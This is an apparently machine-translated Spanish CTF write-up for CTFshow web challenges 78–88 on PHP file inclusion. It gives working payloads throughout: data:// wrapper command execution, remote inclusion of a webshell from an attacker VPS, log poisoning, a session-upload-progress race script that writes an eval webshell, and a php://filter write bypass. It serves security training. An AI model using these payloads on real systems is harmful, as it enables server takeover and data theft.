Archivo de entrada CTFshow-WEB incluido (actualización continua)

web78

?file=data://text/plain,<?php system("cat flag.php");?>

O la lectura de pseudoprotocolo también funciona.

web79

?file=data://text/plain,<?= system("cat flag*");?>

o

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

Donde data: // se puede reemplazar con data:

web80

Método uno: inclusión de archivos remotos

Escriba caballo debajo de VPS y luego incluya de forma remota:

?file=http://118.***.***.***/1.txt

Método 2: el archivo de registro contiene

?file=/var/log/nginx/access.log

Inserte la descripción de la imagen aquí
Así que escribe caballo en el encabezado de UA. La inclusión de archivos de registro de nginx y apache también es un punto de prueba.

web81

El método es el mismo que el de web80, pero la inclusión remota no está disponible porque se filtran los dos puntos y se puede incluir el archivo de registro.

web82

Nueva postura, aprendí lo que aprendí, un agujero muy interesante, usando PHP_SESSION_UPLOAD_PROGRESS para la inclusión de archivos de sesión y competencia condicional.
Enlace de referencia:
use session.upload_progress para la inclusión de archivos y la penetración de deserialización

Utilice este código para cargar y capturar paquetes:


<!DOCTYPE html>
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

El comando a ejecutar está escrito en PHP_SESSION_UPLOAD_PROGRESS:
Inserte la descripción de la imagen aquí
Luego inicie la solicitud de bucle sin parámetros de bp, preste atención a cambiar el PHPSESSID.
Por otro lado, la misma competencia condicional incluye el correspondiente archivo de sesión:
Inserte la descripción de la imagen aquí
se puede obtener la bandera a través de la competencia condicional.

POST / HTTP/1.1
Host: 110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://110205c4-0a4a-467e-82e9-ded805f240cc.chall.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Cookie: PHPSESSID=feng
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Length: 317

------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system("cat fl0g.php");?>
------WebKitFormBoundaryvGEmmKnnXVzQVMQB
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain

111
------WebKitFormBoundaryvGEmmKnnXVzQVMQB--

web83

Igual que el anterior, script:

import io
import sys
import requests
import threading

host = 'http://0df0bded-da5c-4bcc-92bd-e871bb1427a5.chall.ctf.show/'
sessid = 'vrhtvjd4j1sd88onr92fm9t2sj'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            host,
            data={
    
    "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
            files={
    
    "file":('a.txt', f)},
            cookies={
    
    'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'{host}?file=/tmp/sess_{sessid}')
        # print(response.text)
        if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()
    READ(session)

web84

Lo mismo que arriba

web85

Lo mismo que arriba

web86

Lo mismo que arriba

web87

Artículo de referencia:
Habla sobre el uso mágico de php: // filter

file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570

content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B

El archivo es php://filter/write=convert.base64-decode/resource=1.php, el contenido elimina los dos primeros utilizados para completar un y luego el descifrado en base64 es<?php eval($_POST[0]);?>

web88

Aprenda la espalda y olvídese del frente. . Olvidé que el protocolo de datos también se puede omitir mediante la codificación base64, lo cual es ridículo.
Debido a que solo se filtra php, puede usar el protocolo de datos para omitir y luego la codificación base64 para omitir:

?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMF0pOw

El resultado original del cifrado base64 es PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==, pero debido a que = se filtra, es suficiente eliminar el = usado para completar.

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/112864247
Recomendado
Clasificación